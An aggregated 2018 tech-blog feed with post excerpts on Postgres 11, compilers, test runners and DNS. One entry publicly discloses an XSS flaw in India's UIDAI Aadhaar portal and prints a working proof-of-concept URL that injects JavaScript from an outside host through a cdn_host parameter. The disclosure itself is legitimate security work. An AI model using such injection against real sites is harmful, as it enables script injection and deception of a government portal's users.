The last time I read for fun was in elementary school. Since college I knew I must read more, but I never forced myself to build the habit. Then three years ago I spent time around my brother and a coworker who were avid readers. This "peer pressure" helped me get started.

Since I started, I've seen concrete improvements in vocabulary. I find myself using words I didn't know I knew. I question my choice of words more. And I understand coworkers a little better. Perhaps it is only personal style, but I've also become more aware of hyperbole in my speech and have begun to tone that down.

Specifically, books provide more density of information than I can pull together myself. I've also benefited heavily from reading books on tools I use daily. Contrary to being boring, a book on a topic with which I'm familiar has been a (often needed) break from books on topics with which I am unfamiliar. The former category might include books on CSS, Bash, Emacs, Python, Scheme, data modeling, Linux/FreeBSD system administration, mystery novels, and so on. The latter category might include books on Common Lisp, system architecture, the implementation of Linux/FreeBSD, behavioral psychology, management, stock/bond markets, the history of Argentina/Chile/South Korea/Japan, sci-fi novels, and so on.

Reading diversely exposes how little I know. And that can be depressing. But I'm fairly confident reading books is the fastest way to grow.

Tactically speaking, I started slowly with few books and the ones easiest for me to read. The first year I read two books, both technical. The second year I read nine books and was able to start branching out beyond technical books. Last year I read a much more diverse set of forty books. And this year I followed suit with forty-one so far (on track for fifty-five or so).

I keep track of books I'm reading and books I want to read in Goodreads. I particularly enjoy their reading challenge system that lets you know if you are on track to meet your reading goal for the year.

Kernel Recipes 2018 liveblog

Linux Engineer's random thoughts — Wed, 26 Sep 2018 01:00:00 GMT

I had a lot of good feedback from the previous years live-blogs of the Embedded and Kernel Recipes conferences. So much in fact, that this year I'm now doing the liveblog directly on the official website of kernel recipes.

I hope you enjoy it !

I also live-tweeted my impressions of …

Warehouse locations with k-means

Bytepawn - Marton Trencseni — Wed, 26 Sep 2018 01:00:00 GMT

Sometimes, the seven gods of data science, Pascal, Gauss, Bayes, Poisson, Markov, Shannon and Fisher, all wake up in a good mood, and things just work out. Recently we had such an occurence at Fetchr, when the Operational Excellence team posed the following question: if we could pick our Saudi warehouse locations, where would be put them? What is the ideal number of warehouses, and, what does ideal even mean? Also, what should our “delivery radius” be?

Networking Essentials: Naming, Addressing, and Forwarding

swyx's site RSS Feed — Sun, 23 Sep 2018 18:39:34 GMT

How IP Addressing evolved over time, how it works today, and how we can transition to IPv6 in future

Postgres 11 - A First Look

CRAIG KERSTIENS — Thu, 20 Sep 2018 23:55:56 GMT

Postgres 11 is almost here, in fact the latest beta shipped today, and it features a lot of exciting improvements. If you want to get the full list of features it is definitely worth checking out the release notes, but for those who don’t read the release notes I put together a run down of some what I consider the highlight features.

Quitting Postgres

This is a small usability feature, but so long over due. Now you can quit Postgres by simply typing quit or exit. Previously you had to use Ctrl + D or \q. As a begginer it’s one thing to jump into a psql terminal, but once in if you can’t figure out how to quit it’s a frustrating experience. Small usability features, such as this and watch in an earlier release, are often lost in the highlighted features which talk about performance or new data types. Improvements like this really go a long way for making Postgres a better database for everyone.

Fear column addition no more

Brandur had a great in depth write-up on this feature already, but it falls somewhere into the category of the above as well as a performance improvement. Previously when you added a new column that was NOT NULL with a default value Postgres would have to take a lock and re-write the entire table. In a production environment on any sizable table for all practical purposes the result was an outage. The work around was to break your migrations apart to be a several step process.

With Postgres 11 you can add a new column to a table that is not null with a default value. The new row will get materialized on your database without requiring a full re-write. Here is to having to think less about your migrations.

Of course performance is a highlight

No Postgres release would be complete without some performance improvements. This release there are really two areas that feature key improvements around performance.

Parallelism continuing to mature

We first saw parallelism support back in PostgreSQL 9.6. At the time it was primarily for sequential scans, which if you used parallelism for your sequential scans was great, but overall that was a narrow focus. PostgreSQL 10 parallelism because much more useful, and with PostgreSQL 11 it just keeps getting better. Some of the highlights for parallelism include:

Parallel hash joins
Parallel append
Parallel index creation - We’ve talked about how great this can be over on the Citus blog. With it natively in Postgres it makes it even easier for people to leverage.

If you want to dig deeper into all the parallelism support in Postgres this presentation by PostgreSQL committer Thomas Munro at PostgresOpen Silicon Valley from a few weeks ago is a great resource.

Postgres gets a JIT

Just in time compilation is going to be a big deal for Postgres for the coming years. We have the initial support for it now in PostgreSQL 11. Even in this initial implementation of JIT support you can see a nearly 30% speedup on certain queries, such as highlighted here by the TPC-H benchmark

It is still early days for the just in time query compilation support, so expect the improvements here to be even better in PostgreSQL 12 and 13.

Statistics keep getting better

In Postgres 10 we saw a feature that few have probably used CREATE STATISTICS. You see under the covers Postgres keeps a lot of information about your database which it uses to determine the query plan it will use when executing a query. Most statistics were single column ones previously, now with CREATE STATISTICS you could define a correlation between two separate columns. With Postgres 11 now you can create statistics based on expression indexes giving you even more cases where they can help the performance of your app.

Keeping standbys warm

pg_prewarm has been great for warming up a replica’s cache so that should you have a failover you’re not failing over to a cold cache. However up until PostgreSQL 11 you’d have to manually run it yourself or setup some scheduler such as pg_cron, now you can configure pg_prewarm to run all on it’s own at a regular interval.

And more

PostgreSQL 11 is packed with more features than I’ve seen in a release before, though I think I’ve also said that before. It will be exciting to see several of these features such as the JIT support, statistics, and others as it is still in the early days for them. Meanwhile we have a great set of new features to improve user experience as well as help performance with parallelism. If you’re curious to get your hands on these give the beta a try and send your feedback to the PostgreSQL community.

Sloc Cloc and Code Revisited - Optimizing an already fast Go application

Ben E. C. Boyter — Wed, 19 Sep 2018 03:00:00 GMT

Update 2019-03-13

This is now part of a series of blog posts about scc Sloc Cloc and Code which has now been optimised to be the fastest code counter for almost every workload. Read more about it at the following links.

I don’t want to make any false claims about the impact of scc and the blog post about it https://boyter.org/posts/sloc-cloc-code/ but following its release both tokei and loc were updated with impressive performance improvements. In addition a new tool polyglot http://blog.vmchale.com/article/polyglot-comparisons was released which also claimed performance as its main feature. Lastly the tool gocloc https://github.com/hhatto/gocloc appears to be getting updates as well. All good stuff.

Growth Accounting and Backtraced Growth Accounting

Bytepawn - Marton Trencseni — Sun, 16 Sep 2018 01:00:00 GMT

Previously I wrote two articles about data infra and data engineering at Fetchr. This time I want to move up the stack and talk about a simple piece of metrics engineering that proved to be very impactful: Growth Accounting and Backtraced Growth Accounting.

Networking Essentials: Routing

swyx's site RSS Feed — Sat, 15 Sep 2018 10:25:35 GMT

How the Internet cobbles together thousands of Autonomous Systems with the Border Gateway Protocol

Aadhaar Vulnerability Public Disclosure

Nemo's Home — Sat, 15 Sep 2018 03:00:00 GMT

The Vulnerability

The UIDAI Resident Portal (with read access to entire Aadhaar Demographic data) is runing a vulnerable version of LifeRay software. It is running LifeRay 6.1, which was declared End-of-Life in Febrary 2016.

This release includes multiple known vulnerabilities, including:

A XSS issue, for which a PoC can be found at resident.uidai.gov.in (Picture Credits: @sanitarypanels)
Multiple RCEs: See issue-62 for eg.

In fact the release is so old it does not even appear on the “Known Vulnerabilities” page on the LifeRay website; you have to go look at their Archived Vulnerabilities.

The PoC

You can find a simple Proof of Concept for the XSS issue at resident.uidai.gov.in.

The cdn_host parameter injects javascript from $CDN_HOST/Resident-theme/js/custom.js, in this case https://scan.bb8.fun/Resident-theme/js/custom.js which hosts a small snippet to overwrite the HTML of the page.

It shows up like:

Fun

The current script allows for embeding any tweet using a tweet parameter. To embed:

Go to any tweet, copy the part after twitter.com and pass it as the tweet parameter. For eg, to embed this tweet:

Breaking: Exclusive footage from inside @UIDAI's IT department after media reports of Aadhaar data leaks. pic.twitter.com/W7m9L0HvEX
— Aadhaar Compound Wall (@13footwall) March 29, 2018

Look at the URL: https://twitter.com/13footwall/status/979301578686345216
Copy 13footwall/status/979301578686345216 and pass it as the tweet parameter:
The URL becomeshttps://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun&tweet=13footwall/status/979301578686345216
SHARE IT

The Report

I initially reported this to help@uidai.gov.in in Jan 2017:

Forgot all about it till Jan 2018, when someone mentioned I should try my luck with CERT-IN instead:

Update

There is some confusion regarding which version of LifeRay is UIDAI running. They seem to be running 6.1.1, released in 2013-02-26.

The exact version is not relevant to the fact that UIDAI is:

running an unsupported release
which is 5 year old
not updating it despite being notified multiple times

0800 16-Sep: UIDAI seems to have patched the issue by putting a block on the cdn_host parameter. This still leaves them vulnerable to multiple vulnerabilities until they update to a supported release.

Timeline

The vulnerability is still not fixed. Here is a complete timeline:

Date	What?
16 Jan 2017	Initially reported to `help@uidai.gov.in`. No response
21 Jan 2018	Reported to `ceo@uidai.gov.in` and `info@cert-in.org.in`. No response
19 Feb 2018	Reminder sent to `ceo@uidai.gov.in` and `info@cert-in.org.in`
19 Feb 2018	Acknowledgement from CERT
15 Mar 2018	Reminder sent. No response
17 Mar 2018	Notified NCIIPC
18 Mar 2018	Confirmation from NCIIPC asking for more details. I replied back with a quote of previous exchange
19 Mar 2018	Confirmation from NCIIPC thanking me for the report.
19 Apr 2018	Reminder sent to UIDAI asking for acknowledgement
30 May 2018	Reminder sent to NCIIPC and CERT asking for updates

The only change that I’m aware of since my initial report is that the website stopped declaring the LifeRay version in a HTTP response Header.

The Rise of Immer in React

swyx's site RSS Feed — Wed, 12 Sep 2018 03:00:00 GMT

2018: Published on the Netlify Blog as The Rise of Immer in React

r2con 2018 and r2wars

Linux Engineer's random thoughts — Sat, 08 Sep 2018 01:00:00 GMT

I tried something new this year, by going to r2con, a conference dedicated to radare2, a reverse engineering toolkit.

r2con

This conference is one of the most affordable security conference out there. I've used radare2 (r2) in the past, but I don't think I fully understood its philosophy until going …

Networking Essentials: Switching

swyx's site RSS Feed — Wed, 05 Sep 2018 00:01:50 GMT

Discussing why we need Switches in a network and how they work

Networking Essentials: Architecture and Principles

swyx's site RSS Feed — Tue, 04 Sep 2018 12:18:56 GMT

Discussing the architecture of the Internet and its the principles that guided its original design.

Compiling dynamic programming languages

Notes on software development — Sun, 02 Sep 2018 03:00:00 GMT

It can be difficult to disassociate the idea that dynamically typed programming languages are tied to byte-code interpreters (e.g. YARV Ruby, CPython, V8, Zend Engine, etc.). But for many languages, a compiled implementation also exists. Cython, Chicken Scheme and SBCL are good examples.

In this post I will briefly describe how I built a compiler for my Scheme implementation using artifacts from the interpreter. In doing this, I learned a simple (not novel) technique for compiling dynamic languages. I'll introduce the Javascript to C++/V8 compiler I am developing using this technique.

BSDScheme

For the past year I've developed a Scheme implementation, BSDScheme. I started with an AST-interpreter (as opposed to a byte-code compiler and VM). A more detailed blog post on the first few steps writing BSDScheme can be found here.

As I built up support for the various objects and operations in the language, I had a sizeable base of D code for the BSDScheme runtime. This included an object representation for primitive types (and support for converting to and from types in D) as well as basic Scheme operations (+, -, car, cdr, etc.).

When the time came to implement a compiler backend, I only needed to do codegen since the parser already existed. Furthermore, the fundamental bits had already been written: object representation and much of the standard library. So I wrote the simplest compiler I could think of by targeting D and the objects/functions I had already written to support the interpreter.

Take, for example, the equals function in the standard library:

Value equals(Value arguments, void** rest) {
  auto tuple = valueToList(arguments);
  auto left = tuple[0];
  auto right = car(tuple[1]);

  bool b;

  switch (tagOfValue(left)) {
  case ValueTag.Integer:
    b = valueIsInteger(right) && valueToInteger(left) == valueToInteger(right);
    break;
  case ValueTag.Char:
    b = valueIsChar(right) && valueToChar(left) == valueToChar(right);
    break;
  case ValueTag.String:
    b = valueIsString(right) && valueToString(left) == valueToString(right);
    break;
  case ValueTag.Symbol:
    b = valueIsSymbol(right) && valueToSymbol(left) == valueToSymbol(right);
    break;
  case ValueTag.Function:
    b = valueIsFunction(right) && valueToFunction(left)[1] == valueToFunction(right)[1];
    break;
  case ValueTag.Bool:
    b = valueIsBool(right) && valueToBool(left) == valueToBool(right);
    break;
  default:
    b = false;
  }

  return makeBoolValue(b);
}

So long as my compiler generated code that used the Value object to represent Scheme data, I already had an equals function and large swaths of a Scheme standard library that I could share between the compiler and interpreter.

Ultimately I only needed to implement a few control structures to support compiling a large subset of what I supported in the interpreter. The key aspects here include: function definitions (in D), function calls (D function calls), if/else (if/else in D) and so on.

To give a concrete example of a whole program compiled, this Scheme program:

(define (exp base pow)
  (if (= pow 0)
      1
      (* base (exp base (- pow 1)))))

(define (main)
  (display (exp 2 16))
(newline))

when run through the BSDScheme compiler would become:

import std.stdio;
import lex;
import common;
import parse;
import utility;
import value;
import buffer;

Value exp(Value arguments, void** ctx) {
    Value[] tmp = listToVector(arguments);
    Value base = tmp[0];
    Value pow = tmp[1];

    Value equals_result = equals(vectorToList([pow, makeIntegerValue(0)]), null);
    Value if_result;
    if (truthy(equals_result)) {
    makeIntegerValue(1);
    if_result = makeIntegerValue(1);
    } else {

    Value minus_result = minus(vectorToList([pow, makeIntegerValue(1)]), null);

    Value exp_result = exp(vectorToList([base, minus_result]), null);

    Value times_result = times(vectorToList([base, exp_result]), null);
    if_result = times_result;
    };
    return if_result;
}

Value BSDScheme_main(Value arguments, void** ctx) {

    Value exp_result = exp(vectorToList([makeIntegerValue(2), makeIntegerValue(16)]), null);

    Value display_result = display(vectorToList([exp_result]), null);

    Value newline_result = newline(vectorToList([]), null);
    return newline_result;
}

void main() { BSDScheme_main(nilValue, cast(void**)0); }

Where every imported function had already been written for the interpreter. I had only to translate a few lines to D and import/call these existing libraries. Now I had a small binary of compiled Scheme.

It was at this point I realized I was using the same technique used by Cython to compile Python code.

...the Cython project has approached this problem by means of a source code compiler that translates Python code to equivalent C code. This code is executed within the CPython runtime environment, but at the speed of compiled C and with the ability to call directly into C libraries. http://docs.cython.org/en/latest/src/quickstart/overview.html

jsc

I played with many PL-research-y languages over the years and wanted to do build something a little more practical. So I took what I learned writing the BSDScheme compiler and decided to write a Javascript compiler. Specifically, it would target the easiest backend I could imagine: C++ using the V8 C++ library and generating a Node addon.

There already existed well-trodden guides/means of writing Node addons in C++ so I spent some time trying to hand-compile simple Javascript programs to C++ and V8. A string in Javascript would become a v8::String type in C++. A number in Javascript would become v8::Number in C++ and so forth.

I decided to write this compiler in Rust given its roots in (and my familiarity with) ML and Python. I found a Javascript parser by Dave Herman and after a few lazy weeks finally got a "Hello world!" program compiling. Getting my first program to compile has by far been the hardest part of building jsc.

Let's look at a concrete example of a recursive fibonacci program (example/recursion.js in the repo):

function fib(i) {
  if (i <= 1) {
    return i;
  }
  return fib(i - 1) + fib(i - 2);
}

function main() {
  console.log(fib(20));
}

Let's add a call to main() at the end and time this with Node to get a baseline:

$ time node example/recursion.js
6765
node example/recursion.js  0.06s user 0.02s system 97% cpu 0.083 total

Now let's install jsc to compare. We'll need Rust, Cargo, Node and Node-GYP.

$ git clone https:/github.com/eatonphil/jsc
$ cd jsc
$ make && make install
$ jsc example/recursion.js

jsc produces a Javascript entrypoint that imports our addon (build/recursion.js):

require("./build/Release/recursion").jsc_main();

And it produces a C++ file that represents the entire program (build/recursion.cc):

#include <string>

#include <node.h>

using v8::Boolean;
using v8::Context;
using v8::Exception;
using v8::Function;
using v8::FunctionTemplate;
using v8::FunctionCallbackInfo;
using v8::Isolate;
using v8::Local;
using v8::Null;
using v8::Number;
using v8::Object;
using v8::String;
using v8::False;
using v8::True;
using v8::Value;

void fib(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = args.GetIsolate();
  Local<Value> i = args[0];
tail_recurse_1:
  Local<Context> ctx_2 = isolate->GetCurrentContext();
  Local<Object> global_3 = ctx_2->Global();
  Local<Function> Boolean_4 = Local<Function>::Cast(global_3->Get(String::NewFromUtf8(isolate, "Boolean")));
  String::Utf8Value utf8value_tmp_5(i);
  std::string string_tmp_6(*utf8value_tmp_5);
  String::Utf8Value utf8value_tmp_7(Number::New(isolate, 1));
  std::string string_tmp_8(*utf8value_tmp_7);
  Local<Value> argv_9[] = { (i->IsNumber() || Number::New(isolate, 1)->IsNumber()) ? Boolean::New(isolate, i->ToNumber(isolate)->Value() <= Number::New(isolate, 1)->ToNumber(isolate)->Value()) : ((i->IsString() || Number::New(isolate, 1)->IsString()) ? Boolean::New(isolate, string_tmp_6 <= string_tmp_8) : (False(isolate))) };
  Local<Value> result_10 = Boolean_4->Call(Null(isolate), 1, argv_9);
  if (result_10->ToBoolean()->Value()) {
    args.GetReturnValue().Set(i);
    return;
    return;
  }
  Local<Value> arg_11 = (i->IsNumber() || Number::New(isolate, 1)->IsNumber()) ? (Number::New(isolate, i->ToNumber(isolate)->Value() - Number::New(isolate, 1)->ToNumber(isolate)->Value())) : Local<Number>::Cast(Null(isolate));
  Local<FunctionTemplate> ftpl_13 = FunctionTemplate::New(isolate, fib);
  Local<Function> fn_12 = ftpl_13->GetFunction();
  fn_12->SetName(String::NewFromUtf8(isolate, "fib"));
  Local<Value> argv_14[] = { arg_11 };
  Local<Value> result_15 = fn_12->Call(Null(isolate), 1, argv_14);
  Local<Value> arg_16 = (i->IsNumber() || Number::New(isolate, 2)->IsNumber()) ? (Number::New(isolate, i->ToNumber(isolate)->Value() - Number::New(isolate, 2)->ToNumber(isolate)->Value())) : Local<Number>::Cast(Null(isolate));
  Local<FunctionTemplate> ftpl_18 = FunctionTemplate::New(isolate, fib);
  Local<Function> fn_17 = ftpl_18->GetFunction();
  fn_17->SetName(String::NewFromUtf8(isolate, "fib"));
  Local<Value> argv_19[] = { arg_16 };
  Local<Value> result_20 = fn_17->Call(Null(isolate), 1, argv_19);
  args.GetReturnValue().Set((result_15->IsString() || result_20->IsString()) ? Local<Value>::Cast(String::Concat(result_15->ToString(), result_20->ToString())) : Local<Value>::Cast((result_15->IsNumber() || result_20->IsNumber()) ? (Number::New(isolate, result_15->ToNumber(isolate)->Value() + result_20->ToNumber(isolate)->Value())) : Local<Number>::Cast(Null(isolate))));
  return;
}

void jsc_main(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = args.GetIsolate();
tail_recurse_21:
  Local<Value> arg_22 = Number::New(isolate, 20);
  Local<FunctionTemplate> ftpl_24 = FunctionTemplate::New(isolate, fib);
  Local<Function> fn_23 = ftpl_24->GetFunction();
  fn_23->SetName(String::NewFromUtf8(isolate, "fib"));
  Local<Value> argv_25[] = { arg_22 };
  Local<Value> result_26 = fn_23->Call(Null(isolate), 1, argv_25);
  Local<Value> arg_27 = result_26;
  Local<Function> fn_28 = Local<Function>::Cast(Local<Object>::Cast(isolate->GetCurrentContext()->Global()->Get(String::NewFromUtf8(isolate, "console")))->Get(String::NewFromUtf8(isolate, "log")));
  Local<Value> argv_29[] = { arg_27 };
  Local<Value> result_30 = fn_28->Call(Null(isolate), 1, argv_29);
  result_30;
}

void Init(Local<Object> exports) {
  NODE_SET_METHOD(exports, "jsc_main", jsc_main);
}

NODE_MODULE(NODE_GYP_MODULE_NAME, Init)

Let's time this version:

$ time node build/recursion.js
6765
node build/recursion.js  0.16s user 0.03s system 107% cpu 0.175 total

jsc, over twice as slow, is already falling behind Node. :)

As I incremented the number passed to my fibonacci function the compiled program time to completion get exponentially worse. Node stayed the same. I decided to try tail-call optimization to decrease the performance distance between Node and jsc.

I implemented tail-call optimization for the interpreter in BSDScheme by putting all functions in a loop that would break if tail-call elimination was not to happen. It took me a week to implement this and I never put it in place for the compiler. This time around I was able to add basic tail call elimination to jsc in two hours. It is done by labels and gotos instead of a tail call when applicable.

Here is a tail-call optimized version of the same program (example/tco.js):

function fib(n, a, b) {
    if (n == 0) {
        return a;
    }

    if (n == 1) {
        return b;
    }

    return fib(n - 1, b, a + b);
}

function main() {
  console.log(fib(50, 0, 1));
}

We add a call to main() again for Node and time it:

$ time node example/tco.js
12586269025
node example/tco.js  0.06s user 0.02s system 96% cpu 0.080 total

And compile it with jsc and time it:

$ jsc example/tco.js
$ time node build/tco.js
12586269025
node build/tco.js  0.07s user 0.02s system 95% cpu 0.087 total

Well that's not bad at all. :)

Next steps with jsc

jsc has very limited support for... everything. Today I added almost all primitive numeric operations + equality/inequality operations + unit tests. jsc does not yet support nested functions, callbacks, or closures. It supports while loops but not yet for loops. And I'm not sure if it supports else if. It does not support arrays or objects let alone constructors and prototypes. Adding support for these is low-hanging fruit.

After the low-hanging fruit, more interesting projects for jsc include:

generating C++ with embedded V8 rather than only targeting Node addons
type inference or type hinting for generating unboxed functions a la Cython and SBCL

Sloc Cloc and Code Revisited - A focus on accuracy

Ben E. C. Boyter — Tue, 28 Aug 2018 03:00:00 GMT

Update 2019-03-13

Two things prompted me to start looking at my code counter scc again. The first being the release of Go 1.11. New releases of compilers, libraries and tool-chains have a wonderful habit of making things go faster without you having to do anything other than recompile. In addition they often provide new methods which assist with this and are worth exploring.

Reading files quickly in Rust

Ben E. C. Boyter — Mon, 20 Aug 2018 03:00:00 GMT

I have been wanting to learn Rust for a while now. I did play with it some time back https://boyter.org/2017/09/working-rust/ for solving some of the project Euler problems and was reasonably impressed with how it turned out. However as I had no practical use for it at the time I ended up investing more time in Go.

Go as it turns out is a pretty decent language, and somewhat akin to Python in terms of getting things done. There is usually one obvious way to solve any problem. I was even very happy with the performance I was getting out of it. As such I took on building the fastest version of a count lines of code program I could using Go scc which you can read about at sloc cloc and code.

A records on top level domains

Nemo's Home — Sat, 18 Aug 2018 03:00:00 GMT

A few more changes since the last time I ran this.

Update: An automatically updated version of this is available at https://captnemo.in/tld-a-record/

TLD	IP	Web
ai	209.59.119.34	[http] [https]
arab	127.0.53.53	[http] [https]
bh	88.201.27.211	[http] [https]
charity	127.0.53.53	[http] [https]
cm	195.24.205.60	[http] [https]
dk	193.163.102.58	[http] [https]
gg	87.117.196.80	[http] [https]
inc	127.0.53.53	[http] [https]
je	87.117.196.80	[http] [https]
pa	168.77.8.43	[http] [https]
pn	80.68.93.100	[http] [https]
politie	127.0.53.53	[http] [https]
tk	217.119.57.22	[http] [https]
uz	91.212.89.8	[http] [https]
ws	64.70.19.33	[http] [https]
мон	202.170.80.40	[http] [https]
мон	218.100.84.27	[http] [https]
мон	180.149.98.78	[http] [https]
政府	127.0.53.53	[http] [https]
عرب	127.0.53.53	[http] [https]

Diff:

+bh
+charity
-etisalat
+inc
-اتصالات
-招聘
 政府

Fetchr Data Science Infra at 1 year

Bytepawn - Marton Trencseni — Tue, 14 Aug 2018 01:00:00 GMT

A description of our Analytics+ML cluster running on AWS, using Presto, Airflow and Superset.

btest: a language agnostic test runner

Notes on software development — Sat, 04 Aug 2018 03:00:00 GMT

btest is a minimal, language-agnostic test runner originally written for testing compilers. Brian, an ex- co-worker from Linode, wrote the first implementation in Crystal (a compiled language clone of Ruby) for testing bshift, a compiler project. The tool accomplished exactly what I needed for my own language project, BSDScheme, and had very few dependencies. After some issues with Crystal support in containerized CI environments, and despite some incredible assistance from the Crystal community, we rewrote btest in D to simplify downstream use.

How it works

btest registers a command (or commands) to run and verifies the command output and status for different inputs. btest iterates over files in a directory to discover test groups and individual tests within. It supports a limited template language for easily adjusting a more-or-less similar set of tests. And it supports running test groups and individual tests themselves in parallel. All of this is managed via a simple YAML config.

btest.yaml

btest requires a project-level configuration file to declare the test directory, the command(s) to run per test, etc. Let's say we want to run tests against a python program. We create a btest.yaml file with the following:

test_path: tests

runners:
  - name: Run tests with cpython
    run: python test.py

test_path is the directory in which tests are located. runners is an array of commands to run per test. We hard-code a file to run test.py as a project-level standard file that will get written to disk in an appropriate path for each test-case.

On multiple runners

Using multiple runners is helpful when we want to run all tests with different test commands or test command settings. For instance, we could run tests against cpython and pypy by adding another runner to the runners section.

test_path: tests

runners:
  - name: Run tests with cpython
    run: python test.py
  - name: Run tests with pypy
    run: pypy test.py

An example test config

Let's create a divide-by-zero.yaml file in the tests directory and add the following:

cases:
  - name: Should exit on divide by zero
    status: 1
    stdout: |
      Traceback (most recent call last):
        File "test.py", line 1, in <module>
          4 / 0
      ZeroDivisionError: division by zero
    denominator: 0
templates:
  - test.py: |
      4 / {{ denominator }}

In this example, name will be printed out when the test is run. status is the expected integer returned by running the program. stdout is the entire expected output written by the program during execution. None of these three fields are required. If status or stdout are not provided, btest will skip checking them.

Any additional key-value pairs are treated as template variable values and will be substituted if/where it is referenced in the templates section when the case is run. denominator is the only such variable we use in this example. When this first (and only) case is run, test.py will be written to disk containing 4 / 0.

templates section

The templates section is a dictionary allowing us to specify files to be created with variable substitution. All files are created in the same directory per test case, so if we want to import code we can do so with relative paths.

Here is a simple example of a BSDScheme test that uses this feature.

Running btest

Run btest from the root directory (the directory above tests) and we'll see all the grouped test cases that btest registers and the result of each test:

$ btest
tests/divide-by-zero.yaml
[PASS] Should exit on divide by zero

1 of 1 tests passed for runner: Run tests with cpython

Use in CI environments

In the future we may provide pre-built release binaries. But in the meantime, the CI step involves downloading git and ldc and building/installing btest before calling it.

Circle CI

This is the config file I use for testing BSDScheme:

version: 2
jobs:
  build:
    docker:
      - image: dlanguage/ldc
    steps:
      - checkout
      - run:
          name: Install debian-packaged dependencies
          command: |
            apt update
            apt install -y git build-essential
            ln -s $(which ldc2) /usr/local/bin/ldc
      - run:
          name: Install btest
          command: |
            git clone https://github.com/briansteffens/btest
            cd btest
            make
            make install
      - run:
          name: Install bsdscheme
          command: |
            make
            make install
      - run:
          name: Run bsdscheme tests
          command: btest

Travis CI

This is the config Brian uses for testing BShift:

sudo: required

language: d

d:
    - ldc

script:
    # ldc gets installed as other names sometimes
    - sudo ln -s `which $DC` /usr/local/bin/ldc

    # bshift
    - make
    - sudo ln -s $PWD/bin/bshift /usr/local/bin/bshift
    - sudo ln -s $PWD/lib /usr/local/lib/bshift

    # nasm
    - sudo apt-get install -y nasm

    # basm
    - git clone https://github.com/briansteffens/basm
    - cd basm && cabal build && cd ..
    - sudo ln -s $PWD/basm/dist/build/basm/basm /usr/local/bin/basm

    # btest
    - git clone https://github.com/briansteffens/btest
    - cd btest && make && sudo make install && cd ..

    # run the tests
    - btest

Queryset.explain() released in Django 2.1

Tom Forbes — Wed, 01 Aug 2018 22:29:29 GMT

While working on any large-ish Django project you are bound to come across a slow query that’s perhaps missing an index or doing something else expensive. My workflow for diagnosing this was to get the query that is being executed ( str(queryset.query) ) and paste it into a database shell, prefixing...

Singapore H1B1 Tips

swyx's site RSS Feed — Wed, 01 Aug 2018 03:00:00 GMT

much of the original piece below is outdated. this is my remaining 2023 updates for fellow singaporeans.

Repeating History with Elixir...again

Brightball Articles — Tue, 31 Jul 2018 03:00:00 GMT

Over the weekend I got the chance to speak at the inaugural Carolina Code Conf in Greenville, SC. It's the upstate polyglot conference where just about any relevant subject is welcome, so I submitted a talk on Elixir. I also gave a lightning talk on DMARC thanks to our wonderful sponsor, dmarcian.

Run youtube-dl (or similar) in the background

smcleod.net — Mon, 30 Jul 2018 11:52:00 GMT

I wanted an alias or function to use youtube-dl in the background. Looking around the web lots of people seemed to want this and most of them were banging their heads against a wall due to:

A) bash quoting
B) backgrounding dying when their terminal closed
C) passing the argument (url in my case) to the function

Here’s a simple function I whipped up that seems to ‘just works’™:

function yt
{
  nohup youtube-dl "$1" --no-progress 2>&1 > youtube-dl-"$(date +%Y%m%d-%H%M%S)".log &
}

And if you don’t want logs, simply send the output to /dev/null:

Phishing Leaves a DMARC Trail

Brightball Articles — Tue, 24 Jul 2018 03:00:00 GMT

In May I had the opportunity to present at the Anti-Phishing Working Group (APWG) Conference after spending some time cross referencing the APWG's eCrime Exchange data with dmarcian's historic DMARC reports to see if we could identify consistent patterns among known bad actors, as well as potentially identifying a wider scope to the attacks that any single entity could see. The results were interesting!

What not to spend time on

Bytepawn - Marton Trencseni — Mon, 23 Jul 2018 01:00:00 GMT

Warren Buffett says deciding what not to spend time on is just as important as deciding what to spend time on.

Disabling scroll-wheel zoom in Firefox

smcleod.net — Mon, 16 Jul 2018 13:57:14 GMT

This feature annoys me endlessly, I end up zoomed in and out of websites all over the internet. … But the fix is easy and there’s no addons required.

Navigate to about:config (in Firefox’s URL bar)
Change the value of the following two properties to 0:

mousewheel.with_control.action
mousewheel.with_meta.action

If you use Firefox sync and want these settings to sync between your machines, also add the following properties:

Create two new properties both of type boolean and set them to true:

Beat the averages

Bytepawn - Marton Trencseni — Sat, 07 Jul 2018 01:00:00 GMT

When working with averages, we have to be careful. There are pitfalls lurking to pollute our statistics and results reported.

Thanks Economist, You Really Know What Has Gone Wrong with the Internet

Svedic.org — Wed, 04 Jul 2018 13:38:00 GMT

UPDATE: Reddit 1: r/web_design discussion Reddit 2: r/ProgrammerHumor discussion HackerNews discussion I was surprised that there are actually some quite interesting views and proposals in the discussions above. If you liked this, you are probably going to like my article … Continue reading →

A Glance through Docusaurus, Docz, and React-Static

swyx's site RSS Feed — Sat, 30 Jun 2018 05:18:35 GMT

a survey of new documentation/static site generators

PostgresOpen 2018 - First look at talks

CRAIG KERSTIENS — Wed, 27 Jun 2018 23:55:56 GMT

PostgresOpen is just a few months away and our list of talks is now live and available on the PostgresOpen website. This year selecting the talks was the hardest yet not only due to the number of talk submissions, but also the across the board high quality of submissions. There is hopefully something for everyone among the talks, at least if you like Postgres that is.

If you’re thinking about joining us I’d love to see you there and buy you a beer or coffee. The conference is September 5-7 in downtown San Francisco, and early bird tickets are open for just another few weeks. If you want to save some money on tickets grab it and the room now before things jump.

But, if you’re curious for a sampling of a few of the talks I thought I’d break down my top five I’m personally most excited about:

Debugging the Postgres planner

Okay, this one immediately caught my atttention. Melanie will start with the basics of an explain plan to progress down into an actual bug within the Postgres planner, how to can debug it in Postgres, and then write a patch for a fix herself. This talk is well beyond my depth as I’ll likely never contribute code to the Postgres planner, but seems extremely entertaining and likely to highlight both performance profiling as well as useful debugging tips.

Cleaning out Crocodiles teeth with PostgreSQL indexes

I saw Louise give a super practical talk on undertanding explain this year in PgDay Paris. It was both valuable for application developers that aren’t Postgres experts as well as surfaced knowledge for those that thought they already understood explain. I’m excited to hear her take on indexes, but maybe even more excited for the storytelling that will come along with this talk. A talk that can be put to a story always becomes a bit easier to follow the journey than simply the technical facts.

How PostgreSQL extension APIs are changing the face of relational databases

I’ve said it before personally that Postgres is becoming more of a data platform than simply a relational database. Part of that is flexibility towards datatypes and the broad use cases Postgres can support from OLTP, to OLAP, to HTAP. The other big part is extensions! Extensions allow Postgres to continue to advance outside of the standard Postgres core codebase and release cycle. The list of extensions (PostGIS, HyperLogLog, pg_partman, Citus) in this talk is pretty great, and curious to hear more on the APIs themselves.

Connection Pooling 101

